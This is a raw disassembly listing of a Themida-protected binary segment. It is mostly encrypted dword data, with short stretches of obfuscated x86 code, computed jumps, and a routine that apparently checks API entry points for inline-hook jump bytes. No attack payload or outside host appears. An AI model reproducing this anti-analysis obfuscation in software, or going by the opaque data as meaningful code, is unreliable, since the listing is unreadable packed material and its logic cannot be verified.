95EE89C1h dd 96B0C25Dh, 0E153A3B7h, 7F42EA87h, 2BF10331h, 3068805Dh dd 336B8762h, 5E1252CFh, 0EB5212E9h, 8862F60Eh, 0E0F210EAh dd 99D1E9C6h, 813h, 358DA200h, 8EA0BC97h, 5C7E56B9h, 61795624h dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h dd 7A94703Eh, 7B9B7442h, 0EC81EE43h, 4, 50241C89h, 405E089h dd 83000000h, 48704E8h, 0C895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov ecx, 5C1214F3h neg ecx shr ecx, 2 sub ecx, 28612136h and ecx, 1E83044Ch dec ecx not ecx xor ecx, 0F8917A98h push esp mov eax, [esp] add esp, 4 push edx mov edx, 8 add edx, 4783444Dh add edx, eax sub edx, 4783444Dh mov [edx], ecx pop edx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- db 0C0h ; --------------------------------------------------------------------------- push esi loc_60AEC5: ; CODE XREF: Themida_:loc_60A9D4j mov eax, 7EC89A3h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dw 0D2E2h dd 99060598h, 31BA3726h, 17307731h, 0C70E4509h, 6ECD16B4h dd 7FFF5F63h, 61B76EC4h, 0EDE97337h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_60AEF3 proc near ; DATA XREF: Themida_:00585548o ; Themida_:0058571Co pusha mov ax, ds test al, 4 jz loc_60AFDE mov esi, [ebp+7E41281h] cmp esi, 0 jnz loc_60AF30 mov byte ptr [ebp+7E42C2Dh], 45h push 8E726969h push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E7B0A7h] call eax mov [ebp+7E41665h], eax mov esi, eax loc_60AF30: ; CODE XREF: sub_60AEF3+15j cmp byte ptr [esi], 0E9h jnz loc_60AF6A lea eax, [ebp+7E9B928h] call eax mov edi, [ebp+7E42D39h] add edi, 1184h mov esi, [ebp+7E41281h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+7E41281h] lea eax, [ebp+7E86E30h] call eax loc_60AF6A: ; CODE XREF: sub_60AEF3+40j mov esi, [ebp+7E401A9h] cmp esi, 0 jnz loc_60AF9B mov byte ptr [ebp+7E42C2Dh], 54h push 0FF4EBEF4h push dword ptr [ebp+7E4019Dh] lea eax, [ebp+7E7B0A7h] call eax mov [ebp+7E401A9h], eax mov esi, eax loc_60AF9B: ; CODE XREF: sub_60AEF3+80j cmp byte ptr [esi], 0E9h jnz loc_60AFDE mov esi, [ebp+7E401A9h] lea eax, [ebp+7E9B928h] call eax mov edi, [ebp+7E42D39h] add edi, 1184h add edi, 8 mov esi, [ebp+7E401A9h] xchg esi, edi mov ecx, 8 rep movsb mov esi, [ebp+7E401A9h] lea eax, [ebp+7E86E30h] call eax loc_60AFDE: ; CODE XREF: sub_60AEF3+6j ; sub_60AEF3+ABj popa retn sub_60AEF3 endp ; --------------------------------------------------------------------------- dd 8A68858Dh, 858907ECh, 7E43291h, 8C0C8D8Dh, 14E807ECh dd 1D000000h, 420EDFA2h, 6C9563D7h, 8CF8EA20h, 819151A8h dd 609BB0EBh, 0F18B5B53h, 8D895F61h, 7E41B71h, 29DD9589h dd 236007E4h, 0E422B58Dh, 0BD858907h, 6107E430h, 2DA185C7h dd 5B5407E4h, 0E0810000h, 59E174BFh, 22B985C7h, 7E4h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 893251C3h, 0E40AF18Dh, 91B5FF07h, 0F07E422h, 8A0FC6B7h dd 0Ch, 7E9h, 42570900h, 3C7E1A06h, 306195FFh, 958907E4h dd 7E42F7Dh, 95FF006Ah, 7E40E41h, 6FEBC08Bh, 0CB050145h dd 7D6D439Bh, 0C2EE143Dh, 38E39645h, 0E1405D22h, 11126661h dd 70DC9192h, 0B8A5B69Bh, 2FC5B3F6h, 0D3808E6Fh, 6CBE851Bh dd 0C337E483h, 51DEFF5Eh, 0C96D770Fh, 147D7AE2h, 5B882BAEh dd 2CD34301h, 0E366E0DEh, 4F0AE388h, 0AF6B2CAEh, 0A6C9C9A2h dd 1A5711D1h, 0AE810AB5h, 7E32E9CEh, 0BABE2B04h, 4CE165B8h dd 0F2001058h, 0E9CBFE05h, 2Ah, 59641DC3h, 416C7452h, 636F6C6Ch dd 48657461h, 706165h, 140000h, 4 dup(0) dd 20E90000h, 68000011h, 7EC8E7Bh, 0F7F13EE9h, 8F8D68FFh dd 34E907ECh, 68FFF7F1h, 7EC91C1h, 0F7F12AE9h, 92A668FFh dd 20E907ECh, 68FFF7F1h, 7EC9660h, 0F7F116E9h, 96E868FFh dd 0CE907ECh, 68FFF7F1h, 7EC9727h, 0F7F102E9h, 981E68FFh dd 0F8E907ECh, 68FFF7F0h, 7EC98D8h, 0F7F0EEE9h, 993268FFh dd 0E4E907ECh, 68FFF7F0h, 7EC9B2Fh, 0F7F0DAE9h, 9C3868FFh dd 0D0E907ECh, 82FFF7F0h, 0DEF488AAh, 3B51E505h, 9BB1455Fh dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh dd 253D1A30h, 0B12EDE91h, 13AE2DCAh, 56B44388h, 5B296179h dd 602E667Eh, 7D346C82h, 0A27FFEA6h, 5BD83A8Ah, 1442A0A4h dd 5E3DC932h, 16384Ah, 0E3F7D625h, 8EC83A8Ah, 8081738h dd 0EC022436h, 0CBEBC40Fh, 8F6C3A72h, 0CBC4E377h, 941693E3h dd 0DA13A659h, 0F38C3971h, 2413A65Eh, 21EF94Ah, 0CAA371A9h dd 6C3372AAh, 0F207838h, 1FD82757h, 20BED877h, 0C3B83542h dd 8F13A656h, 6841CD26h, 33973648h, 0C0000000h, 1C6C424Dh dd 2AE448BAh, 175A3D6Dh, 0B6460C05h, 0AB1413A6h, 8835C673h dd 819213A6h, 0E96699C5h, 0CE30D877h, 0A684AA51h, 0ADBF2813h dd 0AE0Eh, 79563700h, 805B2961h, 9B761464h, 0FA53734Ch dd 0B6C727C2h, 0CC4D3D37h, 21EFB5C7h, 20F944h, 0C4A16FA7h dd 872318ACh, 9A144209h, 0B755A5BDh, 8BADBFDDh, 48809875h dd 40901E71h, 0A60641C3h, 12A60F13h, 0A7BB9A38h, 9FC2D46Fh dd 0F16EBEF0h, 14408FFEh, 5DFB4BB4h, 0F8D26682h, 2A62805Ah dd 2B63835Ch, 0B253790h, 1CC01430h, 15623721h, 0E934FD5h dd 0F9D10000h, 542D43D7h, 0AE8AA034h, 0BEA0094h, 724D63F7h dd 3E9C256h, 0BF536F4Ah, 1DB1CFA9h, 7F132907h, 0E0748C69h dd 7B007D2Dh, 0D713AE2Eh, 7B560392h, 0D8B5CB5Fh, 4D5B2CC0h dd 0BA1C6C42h, 0A024DB58h, 49B21442h, 0A9883E37h, 0A94713A6h dd 0AD7BB3CDh, 60B9CFh, 8C47E04Eh, 29081AA8h, 20DB88C0h dd 0A713A65Bh, 51AEEE96h, 86D87716h, 0FBh, 617956AFh, 7F957311h dd 0D49AAC47h, 7AC9A442h, 0B04B839Fh, 0F58A0757h, 611442A0h dd 0F1CCE6F8h, 0D0F09DD5h, 0A31442A4h, 0D9112705h, 35122C3Eh dd 0EE6BCD1Dh, 1442A509h, 0F7D05CC5h, 0F2049FD7h, 92DDBAD0h dd 84099B9h, 505E31h, 346C8662h, 0A55E25A2h, 93FC1442h dd 0CD4A283Ah, 13A6B14Bh, 889E7C1Ah, 9A2E9776h, 8C67147Bh dd 124A5E3Dh, 75C51E77h, 0BF8CC003h, 55E19D63h, 714F6177h dd 40CDD4F4h, 0ED3DA614h, 0C458744Fh, 0AB84D3AEh, 5FB8538Bh dd 375FDB0Bh, 0A42A6A62h, 0D81h, 55E90BE3h, 0B246663Fh dd 12A6C09Ch, 75091DFCh, 0D468845Fh, 815CF5FBh, 0E1BBD165h dd 3B192FC3h, 9E7B9125h, 8F3FF286h, 0AE2F6D12h, 15A4E913h dd 56587B56h, 6A6EFF55h, 697F136Ch, 0C224748Ch, 241CE360h dd 51BA1442h, 422411E6h, 4254BD14h, 56D44620h, 0C7A7F76Dh dd 56AE8395h, 5B296179h, 0DDD2667Eh, 1442A022h, 0EC809875h dd 0A9E1F9D6h, 819F7917h, 6078556Fh, 6EE0EA28h, 79A45FCFh dd 5C35C133h, 0D98D2A3Ch, 0DD718966h, 5BACF906h, 0ACDEE0h dd 4D070000h, 9F1C6C42h, 13A6B6E9h, 59063EA7h, 13A6B7A6h dd 0C0F818F1h, 0C3FB17F2h, 0C989BD84h, 75246071h, 0CCDEFED7h dd 78060EF1h, 7CC7D8h, 77F00000h, 1442A085h, 0D6268807h dd 0A6A6B759h, 40D43D13h, 0F0870466h, 5E13A6A6h, 0A6FA81FEh dd 0EF5813A6h, 8F6A8496h, 3E186340h, 0F48FC720h, 38C639Bh dd 90DE5BABh, 3E1442A6h, 4D2B41D5h, 180A2504h, 0F96725FBh dd 852058B1h, 0C462F42Ch, 663FCBEBh, 61730E46h, 0D5D513Eh dd 6EF3BE90h, 0B74BB41Ch, 79FE7BDDh, 0D503EE3Ch, 6885A6Ch dd 0E000009h, 3C482FACh, 9D0603EEh, 424DB68Bh, 0E59F1C6Ch dd 0AB13A6BDh, 0A25D0A42h, 0F513A6BEh, 0A5BCF918h, 62F714A7h dd 542FD109h, 9E8DABC0h, 5E7E57E3h, 0EC986F26h, 447C9471h dd 0E7F850A9h, 0E600FFBFh, 15D5D877h, 0FE000000h, 42A08477h dd 29CE4B14h, 0A51442A0h, 3C9FE33Ch, 2EFFFFFCh, 0F875424Dh dd 1442A003h, 0A0AC53D0h, 0C12A1442h, 5EAE0770h, 0A6B47BE1h dd 1BB91913h, 50EB2341h, 0A6B41EE5h, 0FA53BC13h, 0B46A15C2h dd 0D0E113A6h, 917E894h, 34C0D878h, 0E9000005h, 18ED245h dd 5DFB5DADh, 9631697Fh, 42A0542Bh, 49990214h, 42A037CCh dd 283AA314h, 8C1FCD4Ah, 64CD13A6h, 0BC70505Bh, 0D1BEBA63h dd 2E108DDDh, 24A20FDCh, 0E3AC83BBh, 0DAFE7BCBh, 79AA286Eh dd 0AEE6FEDBh, 86220113h, 0BC578FABh, 98751363h, 0F9D6EC80h dd 5EB7D3AEh, 8DA3E60Ah, 0AD3373B0h, 0B4Dh, 891D3F17h dd 0E67A9A73h, 46DAF4D0h, 0A93D5130h, 89CB893h, 0B590C92Fh dd 15EF0599h, 6F4D63F7h, 0D2AFC559h, 0C37326BAh, 0AE31B146h dd 49D81D13h, 0ED6A7956h, 1442A016h, 0A0B348C5h, 0B61F1442h dd 6BA3FC65h, 475D3BD9h, 317D1235h, 865A64E1h, 5BF913A6h dd 63046480h, 0A11D64A7h, 8BF4D3E5h, 0A9BF9D3Bh, 4ADBE759h dd 0F821B4A2h, 0D0AEC4E6h, 2ED582BAh, 0AD13A6AFh, 517350Fh dd 0A6BF730Ch, 6642E013h, 78173A4Ch, 1284E636h, 0EE6AD34Dh dd 0B7B0C2A7h, 14429899h, 99467EE7h, 1B8A9BE6h, 6C105465h dd 0D093D693h, 1C44h, 424D6D00h, 0C99F1C6Ch, 8713A6B6h dd 3A5CCE1Eh, 95A2EB3Bh, 1AA06678h, 0Eh, 6C424DA9h, 0B5019F1Ch dd 0E64F13A6h, 795625AEh, 0D1ED0D61h, 40807202h, 0A68BAh dd 224FC00h, 5F7F586Eh, 0BFD9B5CBh, 2236152Bh, 819D788Eh dd 75EE14EDh, 0D4EA7E9Ah, 3248DCFAh, 94AA3E54h, 580B9FB7h dd 32542BA8h, 0BD0213AEh, 39424D2Eh, 720D455Bh, 2A4CC919h dd 0B813A6B4h, 6C49174Fh, 0F22A4621h, 0CE3B3550h, 0CF281E8Ch dd 93EDE276h, 0FD34EDC0h, 0EF0DE794h, 2FC31CB7h, 0DF2F7F10h dd 89214462h, 59A9123Ch, 90C8DCBBh, 748C69F5h, 0F5CE9C62h dd 4FE8BACEh, 411CB2B1h, 56CCC25h, 0D655D6E7h, 0F514A801h dd 52C4149Ah, 2C0B6A6Eh, 52304204h, 0B5C977D5h, 649C0524h dd 0B5C9C4B7h, 3272832Ah, 64B4758Ah, 1D962A1h, 4D8B0000h dd 9F1C6C42h, 13A6B445h, 562DAA0Ch, 0F513A6B5h, 2A4F476Ch dd 0E77C8E5h, 0A8811DFCh, 55B55088h, 52BF961Ch, 3F77D0CDh dd 8859471h, 13A6E373h, 5CADC9A4h, 5126A3F3h, 0FD13A6E3h dd 91A73B94h, 38D495B4h, 8E2EA0F7h, 6D47E535h, 0BC7BEF4Fh dd 0A9630552h, 0DA24D197h, 3D34ED24h, 44124A5Eh, 0B0144C6Ah dd 1D3F7333h, 0CDE3C15Fh, 4BE8FA95h, 2F47241Bh, 4E6241DFh dd 27041A3Ch, 0D02AD70Fh, 431C2662h, 45134B69h, 0ECC55167h dd 4BA4BC99h, 0C1855C13h, 1451C91h, 2EE2E85Ah, 3D33E7ABh dd 1C34112Bh, 16ED6ACCh, 0C4423969h, 6910E764h, 55BE4239h dd 0EEC8EAFCh, 0CD35DC7Ch, 0C744A6A1h, 42390830h, 0CADC359Eh dd 47C4D3B0h, 423908B0h, 0B4EC08E3h, 65FC819h, 0BF9E3CCEh dd 0C6D873ABh, 6CBCF2A3h, 390828EFh, 2D7DE642h, 3A4E2DCBh dd 7FC6702h, 0D3423908h, 1736586Ah, 69E63678h, 45DD022Fh dd 86548CF5h, 0E7FD91A9h, 28BAF20Ah, 845FB08Ah, 3C953068h dd 5E576904h, 4A1D1381h, 0E5123912h, 0E9D902B2h, 0BA4C84DDh dd 1D2A463Dh, 1FAB144Ah, 31BF841h, 9FD730CBh, 0BADCF4D1h dd 0D449093Dh, 27431EBCh, 8DCC7815h, 0C4FC10EFh, 20FD1729h dd 389A7408h, 1D2AC4BBh, 6116934Ah, 0ED4A1D2Bh, 0B8CA3384h dd 49139ABFh, 0A9DF43Eh, 27AB549Eh, 90247D0Bh, 4D859D7Ah dd 0B6366BA0h, 0F610EC40h, 0FA14F0BEh, 88BC83C2h, 7D29A6C8h dd 99162502h, 4CB877E2h, 1AAE0770h, 0BF0F2704h, 0D17B3E4Dh dd 1E30998Eh, 990E8158h, 82FF2EC4h, 4CB8C4FDh, 9190F059h dd 858B1B6h, 0C8A644A6h, 5AB047B2h, 0B51E4CB8h, 70A4AAA3h dd 89F24B5Ch, 4C27F5h, 4DB60000h, 0BA1C6C42h, 0A024DB58h dd 49B21442h, 0B6A83E37h, 0BD2613A6h, 7955F385h, 1895275Fh dd 13A6B663h, 1B2D86EFh, 74082801h, 3752B8Ah, 0F10FE992h dd 3CCB4898h, 0AB13A6BCh, 0E018300Dh, 0F4543345h, 0A6BC8077h dd 8CE54E13h, 79560F10h, 0FF37532Eh, 58770B64h, 0AA277737h dd 13A6BC34h, 0BA9F962h, 29C7172Dh, 123354Bh, 0BFF70DEBh dd 0F5D4A7E8h, 0D63888E1h, 0BD00F774h, 0B69313A6h, 7ACB669Eh dd 0B406FF11h, 9B14429Bh, 0D00820FDh, 0DB442335h, 0F405F6A3h dd 0A851B8Ah, 79D754A4h, 81C6EF5h, 49EB2496h, 0E7F99A67h dd 798D6C08h, 0F413C919h, 55AE99C6h, 0A48F701Dh, 2B3C03EEh dd 0DBC437Bh, 1F19C8B0h, 42000000h, 1C6C424Dh, 293D1CBAh dd 0EECA56F1h, 0EF019CD4h, 0A6B610F6h, 3D75DE13h, 2EB7h dd 424D4600h, 70B4AD65h, 746D1A94h, 0EA0747F8h, 0D7B03C95h dd 8BE47FB7h, 0A2E0BE3Bh, 56E13A6h, 5CD93BCDh, 13A68CA7h dd 0A0BC9733h, 92603547h, 0ACFC1AF4h, 42A0482Fh, 8B9D0614h dd 287C9471h, 7202D1DCh, 0AEDF65A5h, 0B6000006h, 1228BCDEh dd 6F851939h, 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h dd 96B48EA4h, 0F80EEC02h, 59714E64h, 0E56212C5h, 13AE361Eh dd 45E877BCh, 6B107FC1h, 0CF1F788Ch, 0A68C8452h, 0E0E95213h dd 0E0566ED5h, 0C7E7A8D1h, 0A79CFA77h, 16AD98Dh, 119DF2C9h dd 9C6744C1h, 56F4C1A9h, 38542F78h, 0FA0CA7DFh, 8AA27F1Bh dd 0E5EB752h, 7849370h, 0CDB1E370h, 881C75DEh, 297D9572h dd 980F8EE5h, 26EA70B0h, 3E000006h, 9AB04466h, 0F70DA1C1h dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13AE3696h, 5670FF44h dd 0B0D6179h, 9E7202D2h, 5E7D85Eh, 0A57D0000h, 0D9EF83h dd 5A364CE0h, 0B796AC40h, 1EF90FA3h, 6F956E02h, 6BFF1BF6h dd 0C95D7B55h, 2BBFD5B3h, 8C203815h, 0D7AC29D9h, 8313AE37h dd 7956AF3Eh, 3D522961h, 42A42171h, 1013AE2Ch, 9BF413A7h dd 0C361C313h, 6642CEE6h, 0AB413A4Ch, 29144A0Dh, 58F688C0h dd 902B637Bh, 0DFA857Eh, 421D1B92h, 4120EE26h, 6DC02826h dd 64BDABE3h, 66845E2Ch, 71F4932Eh, 79507635h, 0C49A5A35h dd 4202136Bh, 8BE4E51Ah, 0EC41B3D0h, 0B8366796h, 0A953F204h dd 7C000000h, 27C5C045h, 0A1EFD4Ch, 0A6DE37D2h, 0B9D6F90Bh dd 7A28A5F5h, 2813A68Ch, 0CAABB6BFh, 99DCA19Eh, 0CB0321FBh dd 94FB1E30h, 0F668CA1Ah, 0BA092A24h, 0C1BACC24h, 0C54D627Fh dd 0FE2265D5h, 0E65F1CE5h, 117E558Dh, 88D04D9Dh, 4ACD75CBh dd 16F391E1h, 77546AFEh, 47170B5Fh, 66A68B4Ah, 4F0E0h dd 7A9C7400h, 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h dd 0ED668C65h, 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh dd 38DCA320h, 357A13AEh, 0B33092A6h, 1442A0CCh, 7E008F7Bh dd 4798E39Ch, 0A4FACCDEh, 89000000h, 0FD19F492h, 0F5182AC5h dd 62C4149Ah, 0A0FC8300h, 0F15A1442h, 356D8B65h, 658F889Ah dd 0EB13AE2Ch, 0B7943282h, 0E307BA98h, 9BFBB735h, 408EFD9h dd 27BB14C2h, 0CC1C3411h, 2C197F5Ah, 67796C21h, 0E9C5CAA1h dd 84361C99h, 0E444144Ah, 92889067h, 7CD53E1Bh, 85226D44h dd 7046901h, 66B60F20h, 76B997E9h, 80D43D1Ch, 5A4EB4ACh dd 365FE525h, 2E000004h, 8AA03456h, 0E7FD91B1h, 475DF10Bh dd 0AAC05468h, 461FB3CFh, 0B0CCA7A0h, 0E2C061Ch, 7086647Ah dd 0D1E9C6DCh, 5DDA8A3Dh, 13AE38A6h, 7760EF34h, 1442A080h dd 42A04B34h, 0E2CCC314h, 2CF31592h, 0E48213AEh, 0FBDAEC0Ah dd 0AF8C5A92h, 45F34397h, 0B2F26A16h, 3DC2Ch, 8EB08800h dd 0EB0BE4FAh, 4B654157h, 0AEC2A1B7h, 0D29041Ah, 15AA079h dd 60760A26h, 0BED46886h, 2036CAE0h, 0E4972B43h, 39C0B734h dd 498E13AEh, 1AF492BAh, 79D2EEC9h, 7A94A641h, 0D335859Dh dd 42A0A156h, 0B2C42D14h, 2D7A15ECh, 0FB062AB3h, 5EAE07C2h dd 0A63F3FE1h, 0D86CD513h, 0BD3A9CFEh, 13A63FC6h, 3BC02B94h dd 9713A600h, 0AAC8A22Eh, 0BA9F98h, 0C29D0CB7h, 21FC12A6h dd 3D17B505h, 3A4CE71Fh, 0B3F49D74h, 0D24253E3h, 1DE25F2Bh dd 0B932B768h, 0A9EF750h, 61795639h, 667E5B29h, 0E30CA416h dd 0A6360C4Dh, 3C537294h, 0D855603Fh, 1442CD23h, 0B5ED46AFh dd 0A522BA1Ah, 0BDA89F8Fh, 15971464h, 5C13A6A9h, 0B3C5E5BEh dd 425C38D4h, 0BD1FB1E9h, 0F129431Fh, 8E14EB56h, 0AE8713A6h dd 0C2D43D8Eh, 0A68E36C9h, 0C0849513h, 77EF639Ch, 8574D8h dd 0F6940000h, 9C770317h, 92996E80h, 0CB598220h, 4274A94Eh dd 5CBC2514h, 0E8380780h, 428A946Bh, 0C7D94214h, 0F1BCEBA4h dd 8B5A621Dh, 375C51Eh, 0D3EE13Fh, 997789F5h, 0A4BC9937h dd 0FD39992h, 38A113A6h, 10A85300h, 0DEB13A6h, 14F1BFF7h dd 0E360C4FCh, 8697EFA3h, 61619EDEh, 0D537D877h, 0F3623463h dd 974AD8Eh, 13A67172h, 0AA2777E0h, 13A671D5h, 67061881h dd 0C7h, 0F40CE987h, 0FA10EEBCh, 56BA8FA1h, 73116179h dd 54744D94h, 0F028811Ch, 0AF7D4355h, 0B280B8D4h, 0B785BDD5h dd 392EC2DAh, 1442A499h, 23744EECh, 4AD62F45h, 2B45576Bh dd 8CA2364Eh, 6B8B64AFh, 8C03DA12h, 4755D222h, 1513A6ABh dd 96F918ACh, 0E74BC818h, 7614405Eh, 7E0EA904h, 0B8538B9Fh dd 9191E158h, 0E737A07Fh, 0BE526E49h, 758472E4h, 9D190E61h dd 0F050A9BFh, 705E5085h, 1A2C10h, 8BB50925h, 6E623872h dd 1DFA82Eh, 0AD850000h, 8E1F78Bh, 623E54E8h, 0BF9EB448h dd 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh, 33C7DDBBh dd 9428401Dh, 0CFB431E1h, 8B13AE3Bh, 7B56B746h, 0D8B5CB5Fh dd 925B2CC0h, 0C90115F4h, 96F91C2Eh, 854BC818h, 5313A6A9h dd 22FC9AEAh, 839B7804h, 7DFEAB71h, 9613A6A9h, 9A68A0BAh dd 0B269A1C1h, 8FE7ABDBh, 6996C67Eh, 6ED87808h, 0D7h, 0C8AF2C8Eh dd 8613A6A5h, 56360B1Dh, 97296179h, 27C3E425h, 7955E33Ah dd 0DAF4065Fh, 2193E3FFh, 3B9EC663h, 0AA277722h, 144223D5h dd 40061881h, 42273793h, 152D0A14h, 304C27C5h, 0F6D15DF8h dd 90A6C8DAh, 8C639BB3h, 4037B403h, 0E144228h, 7FFC4CA5h dd 13A62611h, 0ADC7A33Fh, 48E6C054h, 20435569h, 8DEF3F6Fh dd 0A6376B10h, 6D4BE713h, 0EECFE57h, 40D11691h, 0A3F35C14h dd 79C8A341h, 1A2C859Bh, 75092500h, 1468845Fh, 62375436h dd 0D61197D7h, 8E000000h, 0EA0094B6h, 475DF111h, 0A7BD516Bh dd 0A20B4C8h, 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh dd 3149263Ch, 0BD3AEA9Dh, 13AE3CC6h, 56C04F94h, 710F5F7Bh dd 0A8437B95h, 815E7496h, 5604D569h, 5B296179h, 0B3D2667Eh dd 995EDBDCh, 351442A0h, 0A62373CCh, 13AE2C50h, 5B209DFFh dd 0F713AE2Dh, 19D7C8Eh, 62B20B25h, 2DFC8300h, 0DE5B13AEh dd 13AE2D19h dd 92FB4CB5h, 0FECBA80h, 704D63F7h, 0B2732058h, 0AF4D26ADh dd 2E0B7232h, 8F6C8216h, 92713F77h, 0AD750A87h, 78E17237h dd 5631CF1Fh, 0B6D4AE3Ah, 0BD1E37Eh, 0C09E3C54h, 0C5D772AAh dd 24017C28h, 534ABC0Ch, 7AA1E0EBh, 172D4F61h, 0FDEC1B3Ah dd 78BE421Bh, 0A0F90DECh, 3E268h, 8D710000h, 5C7E563Eh dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h dd 768A6937h, 7A94703Eh, 7B9B7442h, 8956EE43h, 4C681E6h dd 51000000h, 4B9h, 59CE2900h, 5C243487h, 81E28952h, 4C2h dd 4EA8100h, 87000000h, 895C2414h, 89562414h, 4C681E6h dd 81000000h, 4EEh, 24348700h, 2434895Ch, 8D2CBB53h, 895507ECh dd 5DEA89DDh, 348B545Bh, 4C48324h, 8FB85052h, 316F3E54h dd 58042444h, 8108468Fh, 548F0876h, 348B6F3Eh, 0E0895024h dd 405h, 4C08300h, 5C240487h ; --------------------------------------------------------------------------- mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58A287 ; --------------------------------------------------------------------------- dd 60F61735h, 9FA87A3Fh, 0B8170C9Fh, 7EC9D33h, 0E0FFC503h dd 0D751A77h, 1163AE90h, 2C1C9178h, 3E2F01A0h, 406C9188h dd 1583E736h, 0C390E15h, 9EB68D8Dh, 6A07ECh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 852312C3h dd 7E41C15h, 1B718D89h, 0BA6607E4h, 85C788A0h, 7E42DA1h dd 70ACh, 6E2F81BAh, 0B985C728h, 7E422h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 6DA9C351h, 0A6ECA9BBh, 0FF6A3ADEh, 0E41D49B5h, 95296007h dd 7E40DA5h, 99958B57h, 5A07E412h, 0DF816661h, 95FF6000h dd 7E43061h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 82C35141h, 4D9AA630h, 0F37AE022h, 6A5CB2h, 0E4195FFh dd 0C08B07E4h, 4F6F7FEBh, 0B2053E3Dh, 98BBF630h, 249BCEB0h dd 0EC226185h, 15F3BFD1h, 12D944EBh, 0AA0CE4BAh, 880B1AB5h dd 0D3EBFABBh, 3FB00F54h, 9A43D28Ah, 4986C5B8h, 76041B64h dd 9B68D751h, 7914C60Eh, 15E8E865h, 0B9CFAD92h, 1D8C9BB6h dd 5EA833A1h, 32EB3B76h, 4F99D278h, 529DACC7h, 0BAD1411Eh dd 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 0CF8BA071h, 798B857h dd 0B5CB7F48h, 0D7E21451h, 5F4F2183h, 3F8D8D87h, 8907ECA0h dd 0E435618Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D33FC352h dd 2D70FEA8h, 0C7FC8CC3h, 0E42DA185h, 6A4C07h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 572E8969h, 14E96F91h, 11000000h, 47A61725h, 8E428F5Fh dd 61C79BDh, 1ACE01CCh, 0C75A7736h, 0E422B985h, 7, 0BD8B6000h dd 7E42A05h, 6820Fh, 9D330000h, 7E40A51h, 49B5FF61h, 6A07E41Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 45A1C353h, 8B0F42B3h, 13h, 0EE9h, 4D6B3A00h dd 0F964F7E9h, 0D4749DC6h, 0FF743A88h, 0E4306195h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 51EDAC77h, 6A0104FCh, 4195FF00h, 8B07E40Eh, 0B07FEBC0h dd 0D8F1237Ah, 0F504B02Eh, 15F1363Ch, 9673E031h, 36762331h dd 0A9EA337Bh, 0C5E17C1Dh, 0EBF3F5A5h, 8204670Ah, 7462880Ch dd 0A82DFF03h, 654B8E88h, 0A1689D92h, 11EC6290h, 8091DE4h dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 0A1DDB2A0h dd 0E6758173h, 11F2349Ch, 35AA8CF2h, 0F8FD2CC8h, 97572F9h dd 0C671EB10h, 539A84C5h, 62011884h, 4AF89873h, 39D258EEh dd 9DB663A2h, 8D8DEF64h, 7ECA1AEh, 6A1B589h, 8D8907E4h dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0ADC35343h, 0A44EB018h, 853160F9h, 7E412C9h, 21159D8Bh dd 0C76107E4h, 0E42DA185h, 68D007h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 70056443h dd 8962FE0Ah, 0E4020D8Dh, 0D39FBF07h, 85C736CEh, 7E422B9h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_60C5DB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_60C5DB proc near ; CODE XREF: Themida_:0060C5D3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_60C5DB endp ; --------------------------------------------------------------------------- db 0AEh dd 8B6487E6h, 6890FF9h, 8B000000h, 0E40709B5h, 49B5FF07h dd 0FC07E41Dh, 306195FFh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0FF5F37C3h, 0F2AE769h dd 32F1BD89h, 6A07E4h, 0E4195FFh db 0E4h ; --------------------------------------------------------------------------- loc_60C639: ; DATA XREF: Themida_:00582698o ; Themida_:0058577Co pop es mov eax, eax jmp short loc_60C6BD ; --------------------------------------------------------------------------- dw 0BDEDh dd 0BD42AC56h, 0A947E085h, 29DE8730h, 0DB93B838h, 0DC9DDE13h dd 641EDDCh, 1406B45Fh, 0A922CC39h, 0A13BD485h, 0CF98F0E1h dd 0E7F1D87Ah, 0F9234222h, 0ABB545BBh, 8C9F1F3Fh, 9AEC221h dd 0CC2AD2FBh, 4EABFEE5h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah dd 5CF6ABC6h, 9939BBDDh, 